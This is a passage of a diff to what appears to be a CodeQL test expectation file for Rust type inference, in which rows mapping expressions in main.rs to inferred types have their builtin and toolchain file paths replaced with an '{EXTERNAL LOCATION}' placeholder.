snd | | main.rs:910:15:910:17 | Snd | | main.rs:915:45:915:47 | snd | | main.rs:910:15:910:17 | Snd | | main.rs:916:41:916:43 | snd | | main.rs:910:15:910:17 | Snd | @@ -1040,7 +1039,7 @@ inferType | main.rs:943:17:943:29 | t.unwrapSnd() | Fst | main.rs:924:5:925:14 | S2 | | main.rs:943:17:943:29 | t.unwrapSnd() | Snd | main.rs:927:5:928:14 | S3 | | main.rs:943:17:943:41 | ... .unwrapSnd() | | main.rs:927:5:928:14 | S3 | -| main.rs:944:18:944:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:944:18:944:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:944:26:944:26 | x | | main.rs:927:5:928:14 | S3 | | main.rs:949:13:949:14 | p1 | | main.rs:902:5:908:5 | PairOption | | main.rs:949:13:949:14 | p1 | Fst | main.rs:921:5:922:14 | S1 | @@ -1050,7 +1049,7 @@ inferType | main.rs:949:26:949:53 | ...::PairBoth(...) | Snd | main.rs:924:5:925:14 | S2 | | main.rs:949:47:949:48 | S1 | | main.rs:921:5:922:14 | S1 | | main.rs:949:51:949:52 | S2 | | main.rs:924:5:925:14 | S2 | -| main.rs:950:18:950:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:950:18:950:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:950:26:950:27 | p1 | | main.rs:902:5:908:5 | PairOption | | main.rs:950:26:950:27 | p1 | Fst | main.rs:921:5:922:14 | S1 | | main.rs:950:26:950:27 | p1 | Snd | main.rs:924:5:925:14 | S2 | @@ -1060,7 +1059,7 @@ inferType | main.rs:953:26:953:47 | ...::PairNone(...) | | main.rs:902:5:908:5 | PairOption | | main.rs:953:26:953:47 | ...::PairNone(...) | Fst | main.rs:921:5:922:14 | S1 | | main.rs:953:26:953:47 | ...::PairNone(...) | Snd | main.rs:924:5:925:14 | S2 | -| main.rs:954:18:954:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:954:18:954:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:954:26:954:27 | p2 | | main.rs:902:5:908:5 | PairOption | | main.rs:954:26:954:27 | p2 | Fst | main.rs:921:5:922:14 | S1 | | main.rs:954:26:954:27 | p2 | Snd | main.rs:924:5:925:14 | S2 | @@ -1071,7 +1070,7 @@ inferType | main.rs:957:34:957:56 | ...::PairSnd(...) | Fst | main.rs:924:5:925:14 | S2 | | main.rs:957:34:957:56 | ...::PairSnd(...) | Snd | main.rs:927:5:928:14 | S3 | | main.rs:957:54:957:55 | S3 | | main.rs:927:5:928:14 | S3 | -| main.rs:958:18:958:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:958:18:958:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:958:26:958:27 | p3 | | main.rs:902:5:908:5 | PairOption | | main.rs:958:26:958:27 | p3 | Fst | main.rs:924:5:925:14 | S2 | | main.rs:958:26:958:27 | p3 | Snd | main.rs:927:5:928:14 | S3 | @@ -1081,7 +1080,7 @@ inferType | main.rs:961:35:961:56 | ...::PairNone(...) | | main.rs:902:5:908:5 | PairOption | | main.rs:961:35:961:56 | ...::PairNone(...) | Fst | main.rs:924:5:925:14 | S2 | | main.rs:961:35:961:56 | ...::PairNone(...) | Snd | main.rs:927:5:928:14 | S3 | -| main.rs:962:18:962:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:962:18:962:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:962:26:962:27 | p3 | | main.rs:902:5:908:5 | PairOption | | main.rs:962:26:962:27 | p3 | Fst | main.rs:924:5:925:14 | S2 | | main.rs:962:26:962:27 | p3 | Snd | main.rs:927:5:928:14 | S3 | @@ -1129,7 +1128,7 @@ inferType | main.rs:999:40:999:40 | x | T | main.rs:995:10:995:10 | T | | main.rs:1008:13:1008:14 | x1 | | main.rs:969:5:973:5 | MyOption | | main.rs:1008:18:1008:37 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | -| main.rs:1009:18:1009:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1009:18:1009:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1009:26:1009:27 | x1 | | main.rs:969:5:973:5 | MyOption | | main.rs:1011:13:1011:18 | mut x2 | | main.rs:969:5:973:5 | MyOption | | main.rs:1011:13:1011:18 | mut x2 | T | main.rs:1004:5:1005:13 | S | @@ -1138,14 +1137,14 @@ inferType | main.rs:1012:9:1012:10 | x2 | | main.rs:969:5:973:5 | MyOption | | main.rs:1012:9:1012:10 | x2 | T | main.rs:1004:5:1005:13 | S | | main.rs:1012:16:1012:16 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1013:18:1013:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1013:18:1013:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1013:26:1013:27 | x2 | | main.rs:969:5:973:5 | MyOption | | main.rs:1013:26:1013:27 | x2 | T | main.rs:1004:5:1005:13 | S | | main.rs:1015:13:1015:18 | mut x3 | | main.rs:969:5:973:5 | MyOption | | main.rs:1015:22:1015:36 | ...::new(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1016:9:1016:10 | x3 | | main.rs:969:5:973:5 | MyOption | | main.rs:1016:21:1016:21 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1017:18:1017:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1017:18:1017:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1017:26:1017:27 | x3 | | main.rs:969:5:973:5 | MyOption | | main.rs:1019:13:1019:18 | mut x4 | | main.rs:969:5:973:5 | MyOption | | main.rs:1019:13:1019:18 | mut x4 | T | main.rs:1004:5:1005:13 | S | @@ -1157,7 +1156,7 @@ inferType | main.rs:1020:28:1020:29 | x4 | | main.rs:969:5:973:5 | MyOption | | main.rs:1020:28:1020:29 | x4 | T | main.rs:1004:5:1005:13 | S | | main.rs:1020:32:1020:32 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1021:18:1021:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1021:18:1021:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1021:26:1021:27 | x4 | | main.rs:969:5:973:5 | MyOption | | main.rs:1021:26:1021:27 | x4 | T | main.rs:1004:5:1005:13 | S | | main.rs:1023:13:1023:14 | x5 | | main.rs:969:5:973:5 | MyOption | @@ -1168,7 +1167,7 @@ inferType | main.rs:1023:18:1023:58 | ...::MySome(...) | T.T | main.rs:1004:5:1005:13 | S | | main.rs:1023:35:1023:57 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1023:35:1023:57 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | -| main.rs:1024:18:1024:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1024:18:1024:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1024:26:1024:27 | x5 | | main.rs:969:5:973:5 | MyOption | | main.rs:1024:26:1024:27 | x5 | T | main.rs:969:5:973:5 | MyOption | | main.rs:1024:26:1024:27 | x5 | T.T | main.rs:1004:5:1005:13 | S | @@ -1182,7 +1181,7 @@ inferType | main.rs:1026:18:1026:58 | ...::MySome(...) | T.T | main.rs:1004:5:1005:13 | S | | main.rs:1026:35:1026:57 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1026:35:1026:57 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | -| main.rs:1027:18:1027:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1027:18:1027:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1027:26:1027:61 | ...::flatten(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1027:26:1027:61 | ...::flatten(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1027:59:1027:60 | x6 | | main.rs:969:5:973:5 | MyOption | @@ -1192,9 +1191,9 @@ inferType | main.rs:1030:13:1030:19 | from_if | T | main.rs:1004:5:1005:13 | S | | main.rs:1030:23:1034:9 | if ... {...} else {...} | | main.rs:969:5:973:5 | MyOption | | main.rs:1030:23:1034:9 | if ... {...} else {...} | T | main.rs:1004:5:1005:13 | S | -| main.rs:1030:26:1030:26 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1030:26:1030:30 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1030:30:1030:30 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1030:26:1030:26 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1030:26:1030:30 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1030:30:1030:30 | 2 | | {EXTERNAL LOCATION} | i32 | | main.rs:1030:32:1032:9 | { ... } | | main.rs:969:5:973:5 | MyOption | | main.rs:1030:32:1032:9 | { ... } | T | main.rs:1004:5:1005:13 | S | | main.rs:1031:13:1031:30 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | @@ -1204,39 +1203,39 @@ inferType | main.rs:1033:13:1033:31 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1033:13:1033:31 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1033:30:1033:30 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1035:18:1035:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1035:18:1035:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1035:26:1035:32 | from_if | | main.rs:969:5:973:5 | MyOption | | main.rs:1035:26:1035:32 | from_if | T | main.rs:1004:5:1005:13 | S | | main.rs:1038:13:1038:22 | from_match | | main.rs:969:5:973:5 | MyOption | | main.rs:1038:13:1038:22 | from_match | T | main.rs:1004:5:1005:13 | S | | main.rs:1038:26:1041:9 | match ... { ... } | | main.rs:969:5:973:5 | MyOption | | main.rs:1038:26:1041:9 | match ... { ... } | T | main.rs:1004:5:1005:13 | S | -| main.rs:1038:32:1038:32 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1038:32:1038:36 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1038:36:1038:36 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1039:13:1039:16 | true | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1038:32:1038:32 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1038:32:1038:36 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1038:36:1038:36 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1039:13:1039:16 | true | | {EXTERNAL LOCATION} | bool | | main.rs:1039:21:1039:38 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1039:21:1039:38 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | -| main.rs:1040:13:1040:17 | false | | file:///BUILTINS/types.rs:3:1:5:16 | bool | +| main.rs:1040:13:1040:17 | false | | {EXTERNAL LOCATION} | bool | | main.rs:1040:22:1040:40 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1040:22:1040:40 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1040:39:1040:39 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1042:18:1042:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1042:18:1042:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1042:26:1042:35 | from_match | | main.rs:969:5:973:5 | MyOption | | main.rs:1042:26:1042:35 | from_match | T | main.rs:1004:5:1005:13 | S | | main.rs:1045:13:1045:21 | from_loop | | main.rs:969:5:973:5 | MyOption | | main.rs:1045:13:1045:21 | from_loop | T | main.rs:1004:5:1005:13 | S | | main.rs:1045:25:1050:9 | loop { ... } | | main.rs:969:5:973:5 | MyOption | | main.rs:1045:25:1050:9 | loop { ... } | T | main.rs:1004:5:1005:13 | S | -| main.rs:1046:16:1046:16 | 3 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | -| main.rs:1046:16:1046:20 | ... > ... | | file:///BUILTINS/types.rs:3:1:5:16 | bool | -| main.rs:1046:20:1046:20 | 2 | | file:///BUILTINS/types.rs:12:1:12:15 | i32 | +| main.rs:1046:16:1046:16 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1046:16:1046:20 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1046:20:1046:20 | 2 | | {EXTERNAL LOCATION} | i32 | | main.rs:1047:23:1047:40 | ...::MyNone(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1047:23:1047:40 | ...::MyNone(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1049:19:1049:37 | ...::MySome(...) | | main.rs:969:5:973:5 | MyOption | | main.rs:1049:19:1049:37 | ...::MySome(...) | T | main.rs:1004:5:1005:13 | S | | main.rs:1049:36:1049:36 | S | | main.rs:1004:5:1005:13 | S | -| main.rs:1051:18:1051:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1051:18:1051:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1051:26:1051:34 | from_loop | | main.rs:969:5:973:5 | MyOption | | main.rs:1051:26:1051:34 | from_loop | T | main.rs:1004:5:1005:13 | S | | main.rs:1064:15:1064:18 | SelfParam | | main.rs:1057:5:1058:19 | S | @@ -1272,7 +1271,7 @@ inferType | main.rs:1078:18:1078:22 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1078:18:1078:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1078:20:1078:21 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1079:18:1079:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1079:18:1079:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1079:26:1079:27 | x1 | | main.rs:1057:5:1058:19 | S | | main.rs:1079:26:1079:27 | x1 | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1079:26:1079:32 | x1.m1() | | main.rs:1060:5:1061:14 | S2 | @@ -1281,12 +1280,12 @@ inferType | main.rs:1081:18:1081:22 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1081:18:1081:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1081:20:1081:21 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1083:18:1083:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1083:18:1083:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1083:26:1083:27 | x2 | | main.rs:1057:5:1058:19 | S | | main.rs:1083:26:1083:27 | x2 | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1083:26:1083:32 | x2.m2() | | file://:0:0:0:0 | & | | main.rs:1083:26:1083:32 | x2.m2() | &T | main.rs:1060:5:1061:14 | S2 | -| main.rs:1084:18:1084:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1084:18:1084:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1084:26:1084:27 | x2 | | main.rs:1057:5:1058:19 | S | | main.rs:1084:26:1084:27 | x2 | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1084:26:1084:32 | x2.m3() | | file://:0:0:0:0 | & | @@ -1296,7 +1295,7 @@ inferType | main.rs:1086:18:1086:22 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1086:18:1086:22 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1086:20:1086:21 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1088:18:1088:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1088:18:1088:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1088:26:1088:41 | ...::m2(...) | | file://:0:0:0:0 | & | | main.rs:1088:26:1088:41 | ...::m2(...) | &T | main.rs:1060:5:1061:14 | S2 | | main.rs:1088:38:1088:40 | &x3 | | file://:0:0:0:0 | & | @@ -1304,7 +1303,7 @@ inferType | main.rs:1088:38:1088:40 | &x3 | &T.T | main.rs:1060:5:1061:14 | S2 | | main.rs:1088:39:1088:40 | x3 | | main.rs:1057:5:1058:19 | S | | main.rs:1088:39:1088:40 | x3 | T | main.rs:1060:5:1061:14 | S2 | -| main.rs:1089:18:1089:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1089:18:1089:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1089:26:1089:41 | ...::m3(...) | | file://:0:0:0:0 | & | | main.rs:1089:26:1089:41 | ...::m3(...) | &T | main.rs:1060:5:1061:14 | S2 | | main.rs:1089:38:1089:40 | &x3 | | file://:0:0:0:0 | & | @@ -1321,13 +1320,13 @@ inferType | main.rs:1091:19:1091:23 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1091:19:1091:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1091:21:1091:22 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1093:18:1093:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1093:18:1093:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1093:26:1093:27 | x4 | | file://:0:0:0:0 | & | | main.rs:1093:26:1093:27 | x4 | &T | main.rs:1057:5:1058:19 | S | | main.rs:1093:26:1093:27 | x4 | &T.T | main.rs:1060:5:1061:14 | S2 | | main.rs:1093:26:1093:32 | x4.m2() | | file://:0:0:0:0 | & | | main.rs:1093:26:1093:32 | x4.m2() | &T | main.rs:1060:5:1061:14 | S2 | -| main.rs:1094:18:1094:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1094:18:1094:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1094:26:1094:27 | x4 | | file://:0:0:0:0 | & | | main.rs:1094:26:1094:27 | x4 | &T | main.rs:1057:5:1058:19 | S | | main.rs:1094:26:1094:27 | x4 | &T.T | main.rs:1060:5:1061:14 | S2 | @@ -1342,12 +1341,12 @@ inferType | main.rs:1096:19:1096:23 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1096:19:1096:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1096:21:1096:22 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1098:18:1098:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1098:18:1098:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1098:26:1098:27 | x5 | | file://:0:0:0:0 | & | | main.rs:1098:26:1098:27 | x5 | &T | main.rs:1057:5:1058:19 | S | | main.rs:1098:26:1098:27 | x5 | &T.T | main.rs:1060:5:1061:14 | S2 | | main.rs:1098:26:1098:32 | x5.m1() | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1099:18:1099:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1099:18:1099:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1099:26:1099:27 | x5 | | file://:0:0:0:0 | & | | main.rs:1099:26:1099:27 | x5 | &T | main.rs:1057:5:1058:19 | S | | main.rs:1099:26:1099:27 | x5 | &T.T | main.rs:1060:5:1061:14 | S2 | @@ -1361,7 +1360,7 @@ inferType | main.rs:1101:19:1101:23 | S(...) | | main.rs:1057:5:1058:19 | S | | main.rs:1101:19:1101:23 | S(...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1101:21:1101:22 | S2 | | main.rs:1060:5:1061:14 | S2 | -| main.rs:1103:18:1103:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1103:18:1103:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1103:26:1103:30 | (...) | | main.rs:1057:5:1058:19 | S | | main.rs:1103:26:1103:30 | (...) | T | main.rs:1060:5:1061:14 | S2 | | main.rs:1103:26:1103:35 | ... .m1() | | main.rs:1060:5:1061:14 | S2 | @@ -1386,7 +1385,7 @@ inferType | main.rs:1108:17:1108:18 | x7 | T.&T | main.rs:1060:5:1061:14 | S2 | | main.rs:1108:17:1108:23 | x7.m1() | | file://:0:0:0:0 | & | | main.rs:1108:17:1108:23 | x7.m1() | &T | main.rs:1060:5:1061:14 | S2 | -| main.rs:1109:18:1109:23 | "{:?}\\n" | | file:///BUILTINS/types.rs:8:1:8:15 | str | +| main.rs:1109:18:1109:23 | "{:?}\\n" | | {EXTERNAL LOCATION} | str | | main.rs:1109:26:1109:27 | x7 | | main.rs:1057:5:1058:19 | S | | main.rs:1109:26:1109:27 | x7 | T | file://:0:0:0:0 | & | | main.rs:1109:26:1109:27 | x7 | T.&T | main.rs:1060:5:1061:14 | S2 | @@ -1485,765 +1484,765 @@ inferType | main.rs:1181:15:1181:16 | &x | | file://:0:0:0:0 | & | | main.rs:1181:15:1181:16 | &x | &T | main.rs:1157:5:1157:13 | S | | main.rs:1181:16:1181:16 | x | | main.rs:1157:5:1157:13 | S | -| main.rs:1195:43:1198:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1195:43:1198:5 | { ... } | | {EXTERNAL LOCATION} | Result | | main.rs:1195:43:1198:5 | { ... } | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1195:43:1198:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1196:13:1196:13 | x | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1196:17:1196:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1196:17:1196:30 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1196:17:1196:30 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1196:17:1196:31 | TryExpr | | main.rs:1188:5:1189:14 | S1 | | main.rs:1196:28:1196:29 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1197:9:1197:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1197:9:1197:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1197:9:1197:22 | ...::Ok(...) | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1197:9:1197:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1197:20:1197:21 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1201:46:1205:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1201:46:1205:5 | { ... } | | {EXTERNAL LOCATION} | Result | | main.rs:1201:46:1205:5 | { ... } | E | main.rs:1191:5:1192:14 | S2 | | main.rs:1201:46:1205:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1202:13:1202:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1202:13:1202:13 | x | | {EXTERNAL LOCATION} | Result | | main.rs:1202:13:1202:13 | x | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1202:17:1202:30 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1202:17:1202:30 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1202:17:1202:30 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1202:28:1202:29 | S1 | | main.rs:1188:5:1189:14 | S1 | | main.rs:1203:13:1203:13 | y | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1203:17:1203:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1203:17:1203:17 | x | | {EXTERNAL LOCATION} | Result | | main.rs:1203:17:1203:17 | x | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1203:17:1203:18 | TryExpr | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1204:9:1204:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1204:9:1204:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1204:9:1204:22 | ...::Ok(...) | E | main.rs:1191:5:1192:14 | S2 | | main.rs:1204:9:1204:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1204:20:1204:21 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1208:40:1213:5 | { ... } | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1208:40:1213:5 | { ... } | | {EXTERNAL LOCATION} | Result | | main.rs:1208:40:1213:5 | { ... } | E | main.rs:1191:5:1192:14 | S2 | | main.rs:1208:40:1213:5 | { ... } | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:13:1209:13 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1209:13:1209:13 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1209:13:1209:13 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1209:13:1209:13 | x | T | {EXTERNAL LOCATION} | Result | | main.rs:1209:13:1209:13 | x | T.T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:17:1209:42 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1209:17:1209:42 | ...::Ok(...) | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1209:17:1209:42 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1209:17:1209:42 | ...::Ok(...) | T | {EXTERNAL LOCATION} | Result | | main.rs:1209:17:1209:42 | ...::Ok(...) | T.T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1209:28:1209:41 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1209:28:1209:41 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1209:28:1209:41 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1209:39:1209:40 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1211:17:1211:17 | x | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1211:17:1211:17 | x | T | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1211:17:1211:17 | x | | {EXTERNAL LOCATION} | Result | +| main.rs:1211:17:1211:17 | x | T | {EXTERNAL LOCATION} | Result | | main.rs:1211:17:1211:17 | x | T.T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1211:17:1211:18 | TryExpr | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1211:17:1211:18 | TryExpr | | {EXTERNAL LOCATION} | Result | | main.rs:1211:17:1211:18 | TryExpr | T | main.rs:1188:5:1189:14 | S1 | -| main.rs:1211:17:1211:29 | ... .map(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | -| main.rs:1212:9:1212:22 | ...::Ok(...) | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1211:17:1211:29 | ... .map(...) | | {EXTERNAL LOCATION} | Result | +| main.rs:1212:9:1212:22 | ...::Ok(...) | | {EXTERNAL LOCATION} | Result | | main.rs:1212:9:1212:22 | ...::Ok(...) | E | main.rs:1191:5:1192:14 | S2 | | main.rs:1212:9:1212:22 | ...::Ok(...) | T | main.rs:1188:5:1189:14 | S1 | | main.rs:1212:20:1212:21 | S1 | | main.rs:1188:5:1189:14 | S1 | -| main.rs:1216:30:1216:34 | input | | file:///RUSTUP_HOME/toolchain/lib/rustlib/src/rust/library/core/src/result.rs:520:1:538:1 | Result | +| main.rs:1216:30:1216:34 | input | | {EXTERNAL LOCATION} | Result | | main.rs:1216:30:1216:34 | input | E | main.rs:1188:5:1189:14 | S1 | | main.rs:1216:30:1216:34 | input | T | 